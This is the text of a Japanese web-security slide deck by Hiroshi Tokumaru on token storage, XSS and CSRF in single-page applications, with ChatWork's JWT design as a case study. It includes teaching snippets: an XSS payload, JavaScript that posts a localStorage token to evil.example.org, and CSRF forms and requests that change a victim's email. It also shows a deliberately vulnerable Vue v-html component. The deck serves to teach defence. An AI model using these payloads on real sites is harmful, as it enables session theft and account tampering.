ステートフルなトークンはセキュリティ要件を実現しやすい • 完全なログアウト → トークンを削除するだけ • パスワード変更時に既存セッションをすべてログアウト © 2021 Hiroshi Tokumaru 72
IDやパスワードをだまし取ろうとするページについて(Yahoo!) https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314 73
ケーススタディ:ChatWork © 2021 Hiroshi Tokumaru 74
JWT形式を採用したChatWorkのアクセストークンについて 実は、ChatWorkのOAuth2で払い出されるアクセストークンはJWT形式を採用してい ます。話題になっている懸念点を考慮した上で、どのような仕様になっているか簡 単に解説したいと思います。 まず、チャットワークAPIドキュメントの「3.アクセストークンの発行/再発行」のセ クションにある、tokenエンドポイントのレスポンス形式をみてください。アクセス トークン(有効期限は30分間)は、ピリオドでつながるBASE64形式(url-safe)になって います。リフレッシュトークン(有効期間はデフォルト時は14日間。offline_access時 は認可が失効されるまで)はセキュアランダムで生成した文字列になっています。ア クセストークンのメタデータはJWT内部に含まれています。また、リフレッシュトー クンはトークンIDのみで、トークンIDに紐付く認可状態はサーバ側で管理されてい ます。 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 75
JWT形式を採用したChatWorkのアクセストークンについて ChatWorkでは、なぜJWT形式を選んだか?その理由は以下です 1. サーバ側でメタデータを管理するストレージの運用コスト削減のため 2. マイクロサービスが増えた場合に、リソースサーバ単体での認可を実装しやすい 今のところ、大きな理由は1番ですね。 とはいえ、サーバ側で状態管理しないことに よるデメリットもあります。それをどうカバーしたか、もしくは仕様として対象外 としたかを説明します。 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 76
JWT形式を採用したChatWorkのアクセストークンについて Assertion形式のJWTの場合はサーバに状態がないので、トークンの失効が即時にで きません。なので、できるだけ有効期間を短くした方がよいです。また、漏れたア クセストークンは有効期間の間は失効できません。そのアクセストークンの生存期 間中の二次被害を防止するには、認可サーバでの当該認可の破棄、リソースサーバ での利用権限の一次停止などの別の仕組みを検討する必要があるでしょう。 しかし、サーバに状態があるArtifact形式だからといって、即座に失効できるとは限 らないと考えます。当該認可の破棄、漏洩したトークンの確認、API権限の一時停止、 分散キャッシュ上からトークンIDを特定・削除の実行などのワークフローを社内で 実行するには30分ぐらいは掛かると考えました。 https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 77
JWT形式を採用したChatWorkのアクセストークンについて ChatWorkのアクセストークンも期限が30分と比較的短い時間に設定しています。仮 に、アクセストークンが漏洩した場合は、当該認可の破棄、対象のユーザのAPI機能 を一次停止するなどの対応を取るものの、漏洩したトークンが利用できなくなるま で(30分間)待つことになります。もちろん、漏洩した根本原因に対しては恒久対策す べきですが、応急対策としてはこのようになると想定しています。というわけで、 我々は、Assertionでも実運用に耐えられると判断し、JWT形式のアクセストークン を選択しました。 Assertion形式を採用する場合は、この運用ポリシーを許容できなければなりません。 まず設計の最初でこれを確認しておきましょう*4。 セッション管理の仕組 みを検討する際は、こ *4: どうしても有効期限内に失効したい場合は、ブラックリストを返すAPIを提供し のような脅威分析を行 てリソースサーバから利用することになりますが、結局サーバ側に状態を持つこと いましょう になるため、Assertion形式する良さはあまり感じられなくなりますね https://creators-note.chatwork.com/entry/2018/09/25/132218 より引用 78
ステートレス vs ステートフル • ステートレスなトークン – – – – JWT等 認証サーバー等に問い合わせることなく認証の確認ができる スケールアウトが極めて容易 即時ログアウトはできない • ステートフルなトークンやセッションID – – – – PHPのデフォルトセッション(PHPSESSID)やSanctumのトークン セッションの中身はファイル(PHP)やデータベース、REDIS等にある スケールアウト時にはデータベース等を共有する必要がある セッションDBがスケールのボトルネックになりやすい • どちらを選ぶかは、セキュリティ要件しだい – パスワード変更後の即時ログアウトが必須要件かがよい判断材料となる © 2021 Hiroshi Tokumaru 79
SPAにまつわる脆弱性 © 2021 Hiroshi Tokumaru 80
SPAのXSS © 2021 Hiroshi Tokumaru 81
SPAとXSS • SPAのクロスサイトスクリプティング(XSS)は、ウェブコンテンツ側の XSSと、API側XSSがある • ウェブコンテンツ側のXSSは主にJavaScriptのXSS(DOM Based XSS) • API側のXSSはサーバー側のJSON生成時の問題が主 • どちらも徳丸本2版にて説明しています – 4.16 APIのセキュリティ – 4.17 JavaScriptのセキュリティ © 2021 Hiroshi Tokumaru 82
DOM Based XSSの例: AJAXのURL未検証によるXSS
<template>
<section>
<nuxt-link to="/menu/menu_a.html">A</nuxt-link>
<nuxt-link to="/menu/menu_b.html">B</nuxt-link>
<nuxt-link to="/menu/menu_c.html">C</nuxt-link>
<nuxt-link to="/menu/menu_d.html">D</nuxt-link>
<p v-html="post"></p>
</section>
v-htmlはHTMLエスケー
</template>
プなしで表示する機能
menu_a.html
<script>
export default {
data() {
return {
post: ''
}
},
async mounted() {
let url = this.$route.params.url
if (! url) url = 'menu_a.html'
const response = await this.$axios.get(url)
this.post = response.data
}
}
</script>
メニューA<br>
<img src="/img_a.png">
© 2021 Hiroshi Tokumaru
83
AJAXのURL未検証によるXSS(正常系) Webサーバー https://www.example.com/menu/menu_a.html Content-Type: text/html GET /menu_a.html メニューA<br> <img src="/img_a.png"> <p v-html="post"></p> コンテンツをAJAXで要求して、 返ったHTMLを v-html でそのまま (エスケープ無しで)表示する let url = this.$route.params.url const response = await this.$axios.get(url) © 2021 Hiroshi Tokumaru 84
AJAXのURL未検証によるXSS(攻撃)
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
攻撃用サイト
https://evil.example.org/
GET /
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
<p v-html="post"></p>
//evil.example.com
let url = this.$route.params.url
const response = await this.$axios.get(url)
© 2021 Hiroshi Tokumaru
85
AJAXのURL未検証によるXSS(攻撃)
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
攻撃用サイト
https://evil.example.org/
GET /
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
<p v-html="post"></p>
www.example.comの内容
攻撃用サイトにてCORS設定できるので、
CORS制約をくぐり抜けて攻撃が成立
XSS
OK
//evil.example.com
let url = this.$route.params.url
const response = await this.$axios.get(url)
© 2021 Hiroshi Tokumaru
86
APIとJavaScriptそれぞれXSSの可能性がある が、発生箇所によって脅威が変わる © 2021 Hiroshi Tokumaru 87
WebサーバーにXSS脆弱性がある場合(localStorage) Webサーバー https://www.example.com HTML 情報収集サイト https://evil.example.org POST / HTTP/1.1 eyJXXXXXXXXXXXXXX Google Chrome const token = localStorage.getItem('token') const req = new XMLHttpRequest() req.open("POST", "https://evil.example.org/") req.send(token) https://www.example.com token eyJXXXXXXXXX © 2021 Hiroshi Tokumaru localStorageに保存されたトークンを 盗み別のサイトに送信する 最も簡単なXSS攻撃となる 88
WebサーバーにXSS脆弱性がある場合(Cookieによるセッション)
Webサーバー
https://www.example.com
APIサーバー
https://api.example.com
{
HTML
}
"email": "[email protected]",
"tel": "03-1290-5678"
Google Chrome
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://www.example.org
const req = new XMLHttpRequest()
req.open("GET", "https://api.example.com/api")
req.withCredentials = true
PHPSESSID=FD8A6FE…; domain=api.example.com
© 2021 Hiroshi Tokumaru
正規のWebサーバーからのリクエス
トなのでCORS設定は許可されており、
あらゆるAPI呼び出しが可能
89
APIサーバーにXSS脆弱性がある場合(localStorage使用) APIサーバー https://api.example.com CookieよりもlocalStorageの方が XSSに対して危険という記事を多く 見ますが、一概には言えません… HTML Google Chrome const token = localStorage.getItem('token') https://www.example.com token 別オリジンの localStorageには アクセス不可 https://api.example.com オリジンからは IDトークンを格納したlocalStorageには アクセスできない eyJXXXXXXXXX © 2021 Hiroshi Tokumaru 90
APIサーバーにXSS脆弱性がある場合(Cookieによるセッション)
APIサーバー
https://api.example.com
情報収集サイト
https://evil.example.org
{
HTML
}
"email": "[email protected]",
"tel": "03-1290-5678"
{
Google Chrome
let = new XMLHttpRequest()
req.open("GET", "/api/user")
req.open("POST", "https://evil.example.com/")
PHPSESSID=FD8A6FE…; domain=api.example.com
© 2021 Hiroshi Tokumaru
}
"email": "[email protected]",
"tel": "03-1290-5678"
APIサーバーのドメインにCookieが
セットされていると、認証状態のリク
エストが飛び、レスポンスも受け取れ
る。同一オリジンなのでCORSは関係
ない
91
XSSの影響のまとめ XSSの発生箇所 Webサーバー APIサーバー CookieにセッションID・トークン リクエストヘッダにトークン 影響あり 影響あり(攻撃は容易) 影響はない*1 影響あり • CookieはHttpOnly属性がある前提 • Cookieによるセッション管理の場合XSSの発生箇所によらず影響があるのは、 Cookieがブラウザにより自動送信されるため • 脆弱性診断ではHttpOnlyでないCookieの値をリクエストヘッダに入れる実装を 見かけるがお勧めしない (LaravelのCSRFトークンが該当するが、許容できる特殊ケース) (*1) ケースによっては影響がある場合があるかも © 2021 Hiroshi Tokumaru 92
SPAのXSS脆弱性の対策 • ウェブAPIの脆弱性は、Content-Type: application/json にしておけば基 本的に問題ない – だけど、text/htmlなAPIをしばしば見かける • JavaScriptのXSS(DOM Based XSS)は気をつけることが多い – エスケープしない表示に注意 • バニラJavaScript: innerHTML, outerHTML, document.write(), document.writeln() • React: dangerouslySetInnerHTML • Vue.js: v-html • jQuery: html() • evalインジェクション系 – eval(), setTimeout(), setInterval(), Functionコンストラクタ • 詳しくは徳丸本2版 4.16.3、4.16.4、4.17.1 を参照 © 2021 Hiroshi Tokumaru 93
SPAのCSRF © 2021 Hiroshi Tokumaru 94
SPAとCSRF • ウェブAPIでもCSRF攻撃は可能なのでSPAでも考慮する必要がある • ヘッダにトークンを入れている場合はCSRF脆弱性は混入しない – Cookieでセッション管理している場合のみ影響がある • フレームワークの機能で対策しておけば問題ない – …が、たまに手抜きをしてCSRF脆弱なサイトを見かける © 2021 Hiroshi Tokumaru 95
XHRによるCSRF攻撃の様子
罠サイト
https://evil.example.org
APIサーバー
https://api.example.com
メールアドレスが変更される
HTML
Access-Control-Allow-Credentials: trueがない
{"mail: "[email protected]"}
レスポンスは受け取れない
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "[email protected]"}');
© 2021 Hiroshi Tokumaru
クッキーは飛び任意のリクエストが
送れるのでCSRF攻撃が成立する場合が
あるので、クッキーによるセッション
管理はCSRFのリスクがある
レスポンスは受け取れないが、CSRF攻
撃には支障がない
96
ヘッダにトークンを付与する場合はCSRF攻撃はできない 罠サイト https://evil.example.org APIサーバー https://api.example.com HTML const req = new XMLHttpRequest() req.open("POST", "https://api.example.com/api") req.setRequstHeader('Authorization', 'Bearer ??????????????? ') Authorization ヘッダをつけられ ないのでCSRF攻撃にならない https://www.example.com token eyJXXXXXXXXX © 2021 Hiroshi Tokumaru 97
CSRF攻撃成立のハードルは結構ある • • • • • Cookieでセッション管理していること(必須要件) HTTPメソッドはPOST(あるいはPUT、PATCH等) CookieのSameSite属性がNoneあるいは指定なし リクエストのContent-Type(application/json)をチェックしていない CSRFトークンのチェックがない、不十分 • しかし、攻撃には全ての要件が必要なわけではない © 2021 Hiroshi Tokumaru 98
GETリクエストによるCSRF攻撃の様子 罠サイト https://evil.example.org APIサーバー https://api.example.com メールアドレスが変更される HTML GET /[email protected] <form action="https://api.example.com/mail" METHOD="GET"> <input name="mail" value="[email protected]"> <input type="submit"> </form> © 2021 Hiroshi Tokumaru • samesite=laxでもCookieは飛ぶので、 GETメソッドで更新ができれば攻撃 は刺さりやすい • routerの設定が変な場合のみ脆弱と なるが、脆弱性診断とは年に数回は 見つかる 99
HTMLフォーム(POST)によるCSRF攻撃の様子 メールアドレスが変更される APIサーバー https://api.example.com 罠サイト https://evil.example.org HTML POST /mail Content-Type: application/x-www-form-urlencoded [email protected] <form action="https://api.example.com/mail" METHOD="POST"> <input name="mail" value="[email protected]"> <input type="submit"> </form> © 2021 Hiroshi Tokumaru • HTMLフォームなのでCORSの制約は 受けない • Laravelはform-urlencodedでも更新 処理を受け付ける • samesite=lax で防御可能 100
XHRによるCSRF攻撃(Content-Type指定なし)の様子
罠サイト
https://evil.example.org
メールアドレスが変更される
APIサーバー
https://api.example.com
HTML
Content-Type: text/plain
{"mail: "[email protected]"}
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "[email protected]"}');
© 2021 Hiroshi Tokumaru
• Content-Typeを決め打ちにしている
と発生するパターン
• LaravelはContent-Typeで処理を変え
るので、このパターンでは攻撃でき
ない
• samesite=lax で防御可能
101
XHRによるCSRF攻撃(Content-Type指定あり)の様子
罠サイト
https://evil.example.org
HTML
APIサーバー
https://api.example.com
OPTIONS /api HTTP/1.1
HTTP/1.0 204 No Content
Origin: https://evil.example.org
Access-Control-Allow-Origin: *
Access-Control-Request-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Request-Method: POST
Access-Control-Allow-Headers: Content-Type
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.setRequestHeader("Content-Type",
"application/json")
req.send('{"mail": "[email protected]"}');
© 2021 Hiroshi Tokumaru
• 前述のようにLaravelのデフォルト設
定だとプリフライトリクエストは
通ってしまう
• CSRF攻撃はレスポンスを受け取らな
くてもよいのでAllow-Credentialsは
関係ない
• Content-Typeが正しいのでその後の
処理も通る
• samesite=lax で防御可能
102
CSRF対策は結局どうすればよいか? • CSRF攻撃が刺さる条件は複雑だが、その複雑さを理解できなくても防 御は可能 • 【重要】フレームワーク標準のCSRF対策機能を素直に使う • CORS設定はできるだけ明示する(とくにOriginは必須) • セッションIDクッキーにはsamesite=laxを設定する(デフォルト) © 2021 Hiroshi Tokumaru 103
結局 Cookie と localStorage のどちらがよいの? • 今まで説明したように、CookieとlocalStorageはどちらが安全とは言 えず一長一短 • 適材適所で使えば良い • WebサーバーとAPIサーバーが一体の場合は古典的なセッションを使 うのが比較的無難 – セッション管理に由来する脆弱性は枯れていて十分対策されているため • Sanctumトークンのようなステートフル・トークンが使えれば、セ キュリティ要件は満たしやすい • JWTのようなステートレス・トークンを使う場合は、そのリスクを検 討した上で、必要に応じてAPIゲートウェイ等を検討する © 2021 Hiroshi Tokumaru 104
クロスドメインでCookieを使うのは非常に難易度が高い • モダンなブラウザでは、samesite=none; secure をつけないとクロスド メインのCookieをPOSTやXHRで使えない • 過去の特定バージョンのSafariは、バグにより samesite=noneを samesite=strictと見なす(バックポートされていない) – Auth0は同じ値で属性のみ違う2つのCookieをセットすることで対応 Set-Cookie: did=s%3Av0%3A0b71f550-略; HttpOnly; Secure; SameSite=None Set-Cookie: did_compat=s%3Av0%3A0b71f550-略; HttpOnly; Secure • ブラウザにとってサードパーティCookieとみなされるので、ブラウザ の制限が厳しくなる一方 • Cookieはクロスドメインで使わない方がよいと思います © 2021 Hiroshi Tokumaru 105
まとめ • SPAと言っても基本はMPAと変わりありません • なので、SPA開発する際にも徳丸本は役に立ちます! – 3.2 同一オリジンポリシー – – – – 3.3 CORS 4.16 Web API実装における脆弱性 4.17 JavaScriptの問題 その他全部 • Cookie と localStorage の使い分けについて • ステートレスかステートフルか、それが問題だ • 苦しくてもCORSはちゃんと理解しましょう © 2021 Hiroshi Tokumaru 106
最後までご視聴いただきありがとうございます 質問・感想はDiscordにてお願いします © 2021 Hiroshi Tokumaru 107